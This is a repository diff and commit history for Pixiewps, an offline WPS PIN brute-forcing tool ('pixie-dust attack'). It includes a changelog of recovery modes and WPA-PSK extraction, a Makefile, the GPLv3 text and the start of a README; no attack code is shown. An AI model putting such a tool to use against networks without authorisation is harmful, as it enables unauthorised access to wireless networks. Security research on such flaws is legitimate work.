f5e4bc0075 Minor fixes and changes 2015-05-14 21:04:05 +02:00
wiire
d43de9a149 Fixed capital letter 2015-05-01 21:53:38 +02:00
wiire
1b1e376322 Updated to 1.1
Finished previous attack's implementation. Added AuthKey computation
with small DH keys.
2015-05-01 21:10:08 +02:00
wiire
83a8760727 Added license file 2015-04-12 10:50:14 +02:00
wiire
ab4a130073 Updated to 1.0.5
Half of a new attack's implementation added.
2015-04-10 23:41:16 +02:00
wiire
4c896ec44b Updated license 2015-04-08 16:46:13 +02:00
wiire
3ebb9996e1 Updated README.md 2015-04-04 22:53:57 +02:00
87 changed files with 20655 additions and 453 deletions

15
.editorconfig Normal file
View File

@ -0,0 +1,15 @@
# See http://editorconfig.org for a plugin to your editor!
# Top-most EditorConfig file
root = true
[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
trim_trailing_whitespace = true
indent_style = tab
indent_size = 4
[*.md]
trim_trailing_whitespace = false

17
.gitattributes vendored
View File

@ -1,17 +0,0 @@
# Auto detect text files and perform LF normalization
* text=auto
# Custom for Visual Studio
*.cs diff=csharp
# Standard to msysgit
*.doc diff=astextplain
*.DOC diff=astextplain
*.docx diff=astextplain
*.DOCX diff=astextplain
*.dot diff=astextplain
*.DOT diff=astextplain
*.pdf diff=astextplain
*.PDF diff=astextplain
*.rtf diff=astextplain
*.RTF diff=astextplain

12
.gitignore vendored Normal file
View File

@ -0,0 +1,12 @@
# Files
*~
pixiewps
pixiewrapper
# Extensions
*.o
*.d
*.a
*.so
*.out
*.exe

92
CHANGELOG.md Normal file
View File

@ -0,0 +1,92 @@
# Changelog
All notable changes to this project will be documented in this file.
## [Unreleased]
## [1.4.2] - 2018-01-25
### Added
- Huge performance optimizations (`--mode 1,3`) @1yura.
### Fixed
- Segmentation fault when `--authkey` is not supplied.
- Issue with PRNG bruteforce (`--mode 2`).
- Incorrect N1 seed displayed (`--mode 2`).
- Incorrect seeds displayed when PRNG is not bruteforced (`--mode 3`).
### Changed
- Switched from mbedtls and libtommath to libtomcrypt and tomsfastmath @rofl0r.
- Moved Makefile to top directory.
- Added installation of man page on `make install`.
### Removed
- Android.mk
## [1.4.1] - 2017-12-04
### Fixed
- Segmentation fault when trying to recover the PIN with `--m7-enc` and other options @rofl0r @binarymaster.
## [1.4.0] - 2017-12-04
### Added
- Multi-threading support @rofl0r.
- Huge performance optimizations (`--mode 3`).
- Future and past timespan windows when seed is found to compensate sudden NTP updates (`--mode 3`).
- Optional WPA-PSK and E-S2 recovery from M7 and E-S1 from M5 (majority of `--mode 3`, with `--m7-enc` and `--m5-enc`).
- Print of number of cores when `--version` is used.
- Re-introduced possibility to compile with OpenSSL (`make OPENSSL=1`) for better performance @rofl0r.
- Message for contributing, see README for more details.
### Fixed
- Fixed compilation with `-O0` @rofl0r.
### Changed
- Increased default timespan for `--mode 3` to +-1 day.
- Increased maximum limit for `--start`/`--end` to `0x7FFFFFFF` (`02/2038`) @binarymaster.
- Formatted output differently to fit terminal (removed `:` as byte separator).
- Print program version with `--version` on `stdout` (other info on `stderr`).
- Makefile to a more conventional way @rofl0r.
### Deprecated
- Option `-S`, `--dh-small`.
- Option `-l`, `--length`.
## [1.3.0] - 2017-10-07
### Added
- Empty PIN cracking (denoted with `<empty>`) @binarymaster.
- Option `-o`, `--output` to write output to file @binarymaster.
- Option `-l`, `--length` to brute-force arbitrary PIN length (unverified) @binarymaster.
- Man page @samueloph.
### Fixed
- Several Makefile fixes.
## [1.2.2] - 2016-01-04
### Added
- FreeBSD support @fbettag.
### Fixed
- Division by zero on BSD variants.
## [1.2.1] - 2016-01-04
### Changed
- Use UTC time to display seed.
## [1.2.0] - 2015-12-06
### Added
- Option `--mode` for mode selection.
- Options `--start` and `--end` (`--mode 3`).
- Mac OS support @marchrius.
### Changed
- Removed OpenSSL dependency.
## [1.1.0] - 2015-05-01
### Added
- Fully implemented new mode (`--mode 3`).
- Authentication session key (`--authkey`) computation with small Diffie-Hellman keys (`--dh-small`).
- OpenWrt Makefile @d8tahead.
## [1.0.5] - 2015-04-10
### Added
- Initial implementation of new mode (`--mode 3`).
## [1.0.0] - 2015-04-02

596
LICENSE.md Normal file
View File

@ -0,0 +1,596 @@
GNU GENERAL PUBLIC LICENSE
==========================
Version 3, 29 June 2007
Copyright &copy; 2007 Free Software Foundation, Inc. &lt;<http://fsf.org/>&gt;
Everyone is permitted to copy and distribute verbatim copies of this license
document, but changing it is not allowed.
## Preamble
The GNU General Public License is a free, copyleft license for software and other
kinds of works.
The licenses for most software and other practical works are designed to take away
your freedom to share and change the works. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change all versions of a
program--to make sure it remains free software for all its users. We, the Free
Software Foundation, use the GNU General Public License for most of our software; it
applies also to any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General
Public Licenses are designed to make sure that you have the freedom to distribute
copies of free software (and charge for them if you wish), that you receive source
code or can get it if you want it, that you can change the software or use pieces of
it in new free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you these rights or
asking you to surrender the rights. Therefore, you have certain responsibilities if
you distribute copies of the software, or if you modify it: responsibilities to
respect the freedom of others.
For example, if you distribute copies of such a program, whether gratis or for a fee,
you must pass on to the recipients the same freedoms that you received. You must make
sure that they, too, receive or can get the source code. And you must show them these
terms so they know their rights.
Developers that use the GNU GPL protect your rights with two steps: (1) assert
copyright on the software, and (2) offer you this License giving you legal permission
to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains that there is
no warranty for this free software. For both users' and authors' sake, the GPL
requires that modified versions be marked as changed, so that their problems will not
be attributed erroneously to authors of previous versions.
Some devices are designed to deny users access to install or run modified versions of
the software inside them, although the manufacturer can do so. This is fundamentally
incompatible with the aim of protecting users' freedom to change the software. The
systematic pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we have designed
this version of the GPL to prohibit the practice for those products. If such problems
arise substantially in other domains, we stand ready to extend this provision to
those domains in future versions of the GPL, as needed to protect the freedom of
users.
Finally, every program is threatened constantly by software patents. States should
not allow patents to restrict development and use of software on general-purpose
computers, but in those that do, we wish to avoid the special danger that patents
applied to a free program could make it effectively proprietary. To prevent this, the
GPL assures that patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and modification follow.
## TERMS AND CONDITIONS
### 0. Definitions.
&ldquo;This License&rdquo; refers to version 3 of the GNU General Public License.
&ldquo;Copyright&rdquo; also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
&ldquo;The Program&rdquo; refers to any copyrightable work licensed under this
License. Each licensee is addressed as &ldquo;you&rdquo;. &ldquo;Licensees&rdquo; and
&ldquo;recipients&rdquo; may be individuals or organizations.
To &ldquo;modify&rdquo; a work means to copy from or adapt all or part of the work in
a fashion requiring copyright permission, other than the making of an exact copy. The
resulting work is called a &ldquo;modified version&rdquo; of the earlier work or a
work &ldquo;based on&rdquo; the earlier work.
A &ldquo;covered work&rdquo; means either the unmodified Program or a work based on
the Program.
To &ldquo;propagate&rdquo; a work means to do anything with it that, without
permission, would make you directly or secondarily liable for infringement under
applicable copyright law, except executing it on a computer or modifying a private
copy. Propagation includes copying, distribution (with or without modification),
making available to the public, and in some countries other activities as well.
To &ldquo;convey&rdquo; a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through a computer
network, with no transfer of a copy, is not conveying.
An interactive user interface displays &ldquo;Appropriate Legal Notices&rdquo; to the
extent that it includes a convenient and prominently visible feature that (1)
displays an appropriate copyright notice, and (2) tells the user that there is no
warranty for the work (except to the extent that warranties are provided), that
licensees may convey the work under this License, and how to view a copy of this
License. If the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
### 1. Source Code.
The &ldquo;source code&rdquo; for a work means the preferred form of the work for
making modifications to it. &ldquo;Object code&rdquo; means any non-source form of a
work.
A &ldquo;Standard Interface&rdquo; means an interface that either is an official
standard defined by a recognized standards body, or, in the case of interfaces
specified for a particular programming language, one that is widely used among
developers working in that language.
The &ldquo;System Libraries&rdquo; of an executable work include anything, other than
the work as a whole, that (a) is included in the normal form of packaging a Major
Component, but which is not part of that Major Component, and (b) serves only to
enable use of the work with that Major Component, or to implement a Standard
Interface for which an implementation is available to the public in source code form.
A &ldquo;Major Component&rdquo;, in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system (if any) on which
the executable work runs, or a compiler used to produce the work, or an object code
interpreter used to run it.
The &ldquo;Corresponding Source&rdquo; for a work in object code form means all the
source code needed to generate, install, and (for an executable work) run the object
code and to modify the work, including scripts to control those activities. However,
it does not include the work's System Libraries, or general-purpose tools or
generally available free programs which are used unmodified in performing those
activities but which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for the work, and
the source code for shared libraries and dynamically linked subprograms that the work
is specifically designed to require, such as by intimate data communication or
control flow between those subprograms and other parts of the work.
The Corresponding Source need not include anything that users can regenerate
automatically from other parts of the Corresponding Source.
The Corresponding Source for a work in source code form is that same work.
### 2. Basic Permissions.
All rights granted under this License are granted for the term of copyright on the
Program, and are irrevocable provided the stated conditions are met. This License
explicitly affirms your unlimited permission to run the unmodified Program. The
output from running a covered work is covered by this License only if the output,
given its content, constitutes a covered work. This License acknowledges your rights
of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not convey, without
conditions so long as your license otherwise remains in force. You may convey covered
works to others for the sole purpose of having them make modifications exclusively
for you, or provide you with facilities for running those works, provided that you
comply with the terms of this License in conveying all material for which you do not
control copyright. Those thus making or running the covered works for you must do so
exclusively on your behalf, under your direction and control, on terms that prohibit
them from making any copies of your copyrighted material outside their relationship
with you.
Conveying under any other circumstances is permitted solely under the conditions
stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological measure under any
applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
of such measures.
When you convey a covered work, you waive any legal power to forbid circumvention of
technological measures to the extent such circumvention is effected by exercising
rights under this License with respect to the covered work, and you disclaim any
intention to limit operation or modification of the work as a means of enforcing,
against the work's users, your or third parties' legal rights to forbid circumvention
of technological measures.
### 4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you receive it, in any
medium, provided that you conspicuously and appropriately publish on each copy an
appropriate copyright notice; keep intact all notices stating that this License and
any non-permissive terms added in accord with section 7 apply to the code; keep
intact all notices of the absence of any warranty; and give all recipients a copy of
this License along with the Program.
You may charge any price or no price for each copy that you convey, and you may offer
support or warranty protection for a fee.
### 5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to produce it from
the Program, in the form of source code under the terms of section 4, provided that
you also meet all of these conditions:
* **a)** The work must carry prominent notices stating that you modified it, and giving a
relevant date.
* **b)** The work must carry prominent notices stating that it is released under this
License and any conditions added under section 7. This requirement modifies the
requirement in section 4 to &ldquo;keep intact all notices&rdquo;.
* **c)** You must license the entire work, as a whole, under this License to anyone who
comes into possession of a copy. This License will therefore apply, along with any
applicable section 7 additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no permission to license the
work in any other way, but it does not invalidate such permission if you have
separately received it.
* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
Notices; however, if the Program has interactive interfaces that do not display
Appropriate Legal Notices, your work need not make them do so.
A compilation of a covered work with other separate and independent works, which are
not by their nature extensions of the covered work, and which are not combined with
it such as to form a larger program, in or on a volume of a storage or distribution
medium, is called an &ldquo;aggregate&rdquo; if the compilation and its resulting
copyright are not used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work in an aggregate
does not cause this License to apply to the other parts of the aggregate.
### 6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms of sections 4 and
5, provided that you also convey the machine-readable Corresponding Source under the
terms of this License, in one of these ways:
* **a)** Convey the object code in, or embodied in, a physical product (including a
physical distribution medium), accompanied by the Corresponding Source fixed on a
durable physical medium customarily used for software interchange.
* **b)** Convey the object code in, or embodied in, a physical product (including a
physical distribution medium), accompanied by a written offer, valid for at least
three years and valid for as long as you offer spare parts or customer support for
that product model, to give anyone who possesses the object code either (1) a copy of
the Corresponding Source for all the software in the product that is covered by this
License, on a durable physical medium customarily used for software interchange, for
a price no more than your reasonable cost of physically performing this conveying of
source, or (2) access to copy the Corresponding Source from a network server at no
charge.
* **c)** Convey individual copies of the object code with a copy of the written offer to
provide the Corresponding Source. This alternative is allowed only occasionally and
noncommercially, and only if you received the object code with such an offer, in
accord with subsection 6b.
* **d)** Convey the object code by offering access from a designated place (gratis or for
a charge), and offer equivalent access to the Corresponding Source in the same way
through the same place at no further charge. You need not require recipients to copy
the Corresponding Source along with the object code. If the place to copy the object
code is a network server, the Corresponding Source may be on a different server
(operated by you or a third party) that supports equivalent copying facilities,
provided you maintain clear directions next to the object code saying where to find
the Corresponding Source. Regardless of what server hosts the Corresponding Source,
you remain obligated to ensure that it is available for as long as needed to satisfy
these requirements.
* **e)** Convey the object code using peer-to-peer transmission, provided you inform
other peers where the object code and Corresponding Source of the work are being
offered to the general public at no charge under subsection 6d.
A separable portion of the object code, whose source code is excluded from the
Corresponding Source as a System Library, need not be included in conveying the
object code work.
A &ldquo;User Product&rdquo; is either (1) a &ldquo;consumer product&rdquo;, which
means any tangible personal property which is normally used for personal, family, or
household purposes, or (2) anything designed or sold for incorporation into a
dwelling. In determining whether a product is a consumer product, doubtful cases
shall be resolved in favor of coverage. For a particular product received by a
particular user, &ldquo;normally used&rdquo; refers to a typical or common use of
that class of product, regardless of the status of the particular user or of the way
in which the particular user actually uses, or expects or is expected to use, the
product. A product is a consumer product regardless of whether the product has
substantial commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
&ldquo;Installation Information&rdquo; for a User Product means any methods,
procedures, authorization keys, or other information required to install and execute
modified versions of a covered work in that User Product from a modified version of
its Corresponding Source. The information must suffice to ensure that the continued
functioning of the modified object code is in no case prevented or interfered with
solely because modification has been made.
If you convey an object code work under this section in, or with, or specifically for
use in, a User Product, and the conveying occurs as part of a transaction in which
the right of possession and use of the User Product is transferred to the recipient
in perpetuity or for a fixed term (regardless of how the transaction is
characterized), the Corresponding Source conveyed under this section must be
accompanied by the Installation Information. But this requirement does not apply if
neither you nor any third party retains the ability to install modified object code
on the User Product (for example, the work has been installed in ROM).
The requirement to provide Installation Information does not include a requirement to
continue to provide support service, warranty, or updates for a work that has been
modified or installed by the recipient, or for the User Product in which it has been
modified or installed. Access to a network may be denied when the modification itself
materially and adversely affects the operation of the network or violates the rules
and protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided, in accord with
this section must be in a format that is publicly documented (and with an
implementation available to the public in source code form), and must require no
special password or key for unpacking, reading or copying.
### 7. Additional Terms.
&ldquo;Additional permissions&rdquo; are terms that supplement the terms of this
License by making exceptions from one or more of its conditions. Additional
permissions that are applicable to the entire Program shall be treated as though they
were included in this License, to the extent that they are valid under applicable
law. If additional permissions apply only to part of the Program, that part may be
used separately under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option remove any
additional permissions from that copy, or from any part of it. (Additional
permissions may be written to require their own removal in certain cases when you
modify the work.) You may place additional permissions on material, added by you to a
covered work, for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you add to a
covered work, you may (if authorized by the copyright holders of that material)
supplement the terms of this License with terms:
* **a)** Disclaiming warranty or limiting liability differently from the terms of
sections 15 and 16 of this License; or
* **b)** Requiring preservation of specified reasonable legal notices or author
attributions in that material or in the Appropriate Legal Notices displayed by works
containing it; or
* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
modified versions of such material be marked in reasonable ways as different from the
original version; or
* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
material; or
* **e)** Declining to grant rights under trademark law for use of some trade names,
trademarks, or service marks; or
* **f)** Requiring indemnification of licensors and authors of that material by anyone
who conveys the material (or modified versions of it) with contractual assumptions of
liability to the recipient, for any liability that these contractual assumptions
directly impose on those licensors and authors.
All other non-permissive additional terms are considered &ldquo;further
restrictions&rdquo; within the meaning of section 10. If the Program as you received
it, or any part of it, contains a notice stating that it is governed by this License
along with a term that is a further restriction, you may remove that term. If a
license document contains a further restriction but permits relicensing or conveying
under this License, you may add to a covered work material governed by the terms of
that license document, provided that the further restriction does not survive such
relicensing or conveying.
If you add terms to a covered work in accord with this section, you must place, in
the relevant source files, a statement of the additional terms that apply to those
files, or a notice indicating where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the form of a
separately written license, or stated as exceptions; the above requirements apply
either way.
### 8. Termination.
You may not propagate or modify a covered work except as expressly provided under
this License. Any attempt otherwise to propagate or modify it is void, and will
automatically terminate your rights under this License (including any patent licenses
granted under the third paragraph of section 11).
However, if you cease all violation of this License, then your license from a
particular copyright holder is reinstated (a) provisionally, unless and until the
copyright holder explicitly and finally terminates your license, and (b) permanently,
if the copyright holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is reinstated permanently
if the copyright holder notifies you of the violation by some reasonable means, this
is the first time you have received notice of violation of this License (for any
work) from that copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the licenses of
parties who have received copies or rights from you under this License. If your
rights have been terminated and not permanently reinstated, you do not qualify to
receive new licenses for the same material under section 10.
### 9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or run a copy of the
Program. Ancillary propagation of a covered work occurring solely as a consequence of
using peer-to-peer transmission to receive a copy likewise does not require
acceptance. However, nothing other than this License grants you permission to
propagate or modify any covered work. These actions infringe copyright if you do not
accept this License. Therefore, by modifying or propagating a covered work, you
indicate your acceptance of this License to do so.
### 10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically receives a license
from the original licensors, to run, modify and propagate that work, subject to this
License. You are not responsible for enforcing compliance by third parties with this
License.
An &ldquo;entity transaction&rdquo; is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an organization, or
merging organizations. If propagation of a covered work results from an entity
transaction, each party to that transaction who receives a copy of the work also
receives whatever licenses to the work the party's predecessor in interest had or
could give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if the predecessor
has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the rights granted or
affirmed under this License. For example, you may not impose a license fee, royalty,
or other charge for exercise of rights granted under this License, and you may not
initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
that any patent claim is infringed by making, using, selling, offering for sale, or
importing the Program or any portion of it.
### 11. Patents.
A &ldquo;contributor&rdquo; is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The work thus
licensed is called the contributor's &ldquo;contributor version&rdquo;.
A contributor's &ldquo;essential patent claims&rdquo; are all patent claims owned or
controlled by the contributor, whether already acquired or hereafter acquired, that
would be infringed by some manner, permitted by this License, of making, using, or
selling its contributor version, but do not include claims that would be infringed
only as a consequence of further modification of the contributor version. For
purposes of this definition, &ldquo;control&rdquo; includes the right to grant patent
sublicenses in a manner consistent with the requirements of this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
under the contributor's essential patent claims, to make, use, sell, offer for sale,
import and otherwise run, modify and propagate the contents of its contributor
version.
In the following three paragraphs, a &ldquo;patent license&rdquo; is any express
agreement or commitment, however denominated, not to enforce a patent (such as an
express permission to practice a patent or covenant not to sue for patent
infringement). To &ldquo;grant&rdquo; such a patent license to a party means to make
such an agreement or commitment not to enforce a patent against the party.
If you convey a covered work, knowingly relying on a patent license, and the
Corresponding Source of the work is not available for anyone to copy, free of charge
and under the terms of this License, through a publicly available network server or
other readily accessible means, then you must either (1) cause the Corresponding
Source to be so available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner consistent with
the requirements of this License, to extend the patent license to downstream
recipients. &ldquo;Knowingly relying&rdquo; means you have actual knowledge that, but
for the patent license, your conveying the covered work in a country, or your
recipient's use of the covered work in a country, would infringe one or more
identifiable patents in that country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or arrangement, you
convey, or propagate by procuring conveyance of, a covered work, and grant a patent
license to some of the parties receiving the covered work authorizing them to use,
propagate, modify or convey a specific copy of the covered work, then the patent
license you grant is automatically extended to all recipients of the covered work and
works based on it.
A patent license is &ldquo;discriminatory&rdquo; if it does not include within the
scope of its coverage, prohibits the exercise of, or is conditioned on the
non-exercise of one or more of the rights that are specifically granted under this
License. You may not convey a covered work if you are a party to an arrangement with
a third party that is in the business of distributing software, under which you make
payment to the third party based on the extent of your activity of conveying the
work, and under which the third party grants, to any of the parties who would receive
the covered work from you, a discriminatory patent license (a) in connection with
copies of the covered work conveyed by you (or copies made from those copies), or (b)
primarily for and in connection with specific products or compilations that contain
the covered work, unless you entered into that arrangement, or that patent license
was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting any implied
license or other defenses to infringement that may otherwise be available to you
under applicable patent law.
### 12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or otherwise)
that contradict the conditions of this License, they do not excuse you from the
conditions of this License. If you cannot convey a covered work so as to satisfy
simultaneously your obligations under this License and any other pertinent
obligations, then as a consequence you may not convey it at all. For example, if you
agree to terms that obligate you to collect a royalty for further conveying from
those to whom you convey the Program, the only way you could satisfy both those terms
and this License would be to refrain entirely from conveying the Program.
### 13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have permission to link or
combine any covered work with a work licensed under version 3 of the GNU Affero
General Public License into a single combined work, and to convey the resulting work.
The terms of this License will continue to apply to the part which is the covered
work, but the special requirements of the GNU Affero General Public License, section
13, concerning interaction through a network will apply to the combination as such.
### 14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of the GNU
General Public License from time to time. Such new versions will be similar in spirit
to the present version, but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Program specifies that
a certain numbered version of the GNU General Public License &ldquo;or any later
version&rdquo; applies to it, you have the option of following the terms and
conditions either of that numbered version or of any later version published by the
Free Software Foundation. If the Program does not specify a version number of the GNU
General Public License, you may choose any version ever published by the Free
Software Foundation.
If the Program specifies that a proxy can decide which future versions of the GNU
General Public License can be used, that proxy's public statement of acceptance of a
version permanently authorizes you to choose that version for the Program.
Later license versions may give you additional or different permissions. However, no
additional obligations are imposed on any author or copyright holder as a result of
your choosing to follow a later version.
### 15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM &ldquo;AS IS&rdquo; WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
### 16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
### 17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided above cannot be
given local legal effect according to their terms, reviewing courts shall apply local
law that most closely approximates an absolute waiver of all civil liability in
connection with the Program, unless a warranty or assumption of liability accompanies
a copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
## How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest possible use to
the public, the best way to achieve this is to make it free software which everyone
can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest to attach them
to the start of each source file to most effectively state the exclusion of warranty;
and each file should have at least the &ldquo;copyright&rdquo; line and a pointer to
where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short notice like this
when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'show c' for details.
The hypothetical commands 'show w' and 'show c' should show the appropriate parts of
the General Public License. Of course, your program's commands might be different;
for a GUI interface, you would use an &ldquo;about box&rdquo;.
You should also get your employer (if you work as a programmer) or school, if any, to
sign a &ldquo;copyright disclaimer&rdquo; for the program, if necessary. For more
information on this, and how to apply and follow the GNU GPL, see
&lt;<http://www.gnu.org/licenses/>&gt;.
The GNU General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may consider it
more useful to permit linking proprietary applications with the library. If this is
what you want to do, use the GNU Lesser General Public License instead of this
License. But first, please read
&lt;<http://www.gnu.org/philosophy/why-not-lgpl.html>&gt;.

63
Makefile Normal file
View File

@ -0,0 +1,63 @@
CFLAGS = -O3
PREFIX ?= /usr/local
BINDIR = $(PREFIX)/bin
MANDIR = $(PREFIX)/share/man
SRCDIR = src
HDRS = $(SRCDIR)/config.h $(SRCDIR)/endianness.h $(SRCDIR)/version.h
HDRS += $(SRCDIR)/pixiewps.h $(SRCDIR)/utils.h $(SRCDIR)/wps.h
# Internal flags so one can safely override CFLAGS, CPPFLAGS and LDFLAGS
INTFLAGS = -std=c99 -I $(SRCDIR)/crypto/tc
LIBS = -lpthread
ifeq ($(OPENSSL),1)
LIBS += -lcrypto
INTFLAGS += -DUSE_OPENSSL
endif
TARGET = pixiewps
include $(SRCDIR)/crypto/tfm/sources.mak
TFMSRC = $(patsubst ./%,$(SRCDIR)/crypto/tfm/%,$(TFM_SRCS))
TFMOBJS = $(TFMSRC:.c=.o)
TC_SRCS = ./aes_cbc.c ./aes.c
TCSRC = $(patsubst ./%,$(SRCDIR)/crypto/tc/%,$(TC_SRCS))
TCOBJS = $(TCSRC:.c=.o)
SOURCE = $(SRCDIR)/pixiewps.c
-include config.mak
.PHONY: all install install-bin install-man strip clean
all: $(TARGET) pixiewrapper
pixiewrapper: $(SRCDIR)/pixiewrapper.o
$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) -o $@ $<
$(TARGET): $(SOURCE) $(HDRS) $(TFMOBJS) $(TCOBJS)
$(CC) $(INTFLAGS) $(CFLAGS) $(CPPFLAGS) -o $(TARGET) $(SOURCE) $(LIBS) $(LDFLAGS) $(TFMOBJS) $(TCOBJS)
$(SRCDIR)/crypto/tfm/%.o: $(SRCDIR)/crypto/tfm/%.c
$(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tfm -c -o $@ $<
$(SRCDIR)/crypto/tc/%.o: $(SRCDIR)/crypto/tc/%.c
$(CC) $(CFLAGS) $(CPPFLAGS) -I$(SRCDIR)/crypto/tc -c -o $@ $<
install: install-bin install-man
install-bin: $(TARGET)
install -d $(DESTDIR)$(BINDIR)
install -m 755 $< $(DESTDIR)$(BINDIR)
install-man: pixiewps.1
install -d $(DESTDIR)$(MANDIR)/man1
install -m 644 $< $(DESTDIR)$(MANDIR)/man1
strip: $(TARGET)
strip $(TARGET)
clean:
rm -f $(TARGET) $(TFMOBJS) $(TCOBJS)

156
README.md
View File

@ -1,34 +1,154 @@
# OVERVIEW
# Overview [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg?style=flat-square)](LICENSE.md)
Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some APs (pixie dust attack). It is meant for educational purposes only. All credits for the research go to Dominique Bongard.
**Pixiewps** is a tool written in C used to **bruteforce offline** the WPS PIN exploiting the low or non-existing entropy of some software implementations, the so-called "pixie-dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only.
# INSTALLATION
As opposed to the traditional online brute-force attack, implemented in tools like Reaver or Bully which aim to recover the pin in a few hours, this method can get the PIN in only a matter of **seconds** or **minutes**, depending on the target, **if vulnerable**.
Pixiewps can be built and installed by running:
![pixiewps_screenshot_1](https://i.imgur.com/2N2zaZt.png)
Since version 1.4, it can also recover the **WPA-PSK** from a complete passive capture (M1 through M7) for some devices (currently **only some devices** which work with `--mode 3`).
![pixiewps_screenshot_2](https://i.imgur.com/qVQ8Rng.png)
It all started as a project from the community, more details can be found here:
- [https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool](https://forums.kali.org/showthread.php?25018-Pixiewps-wps-pixie-dust-attack-tool)
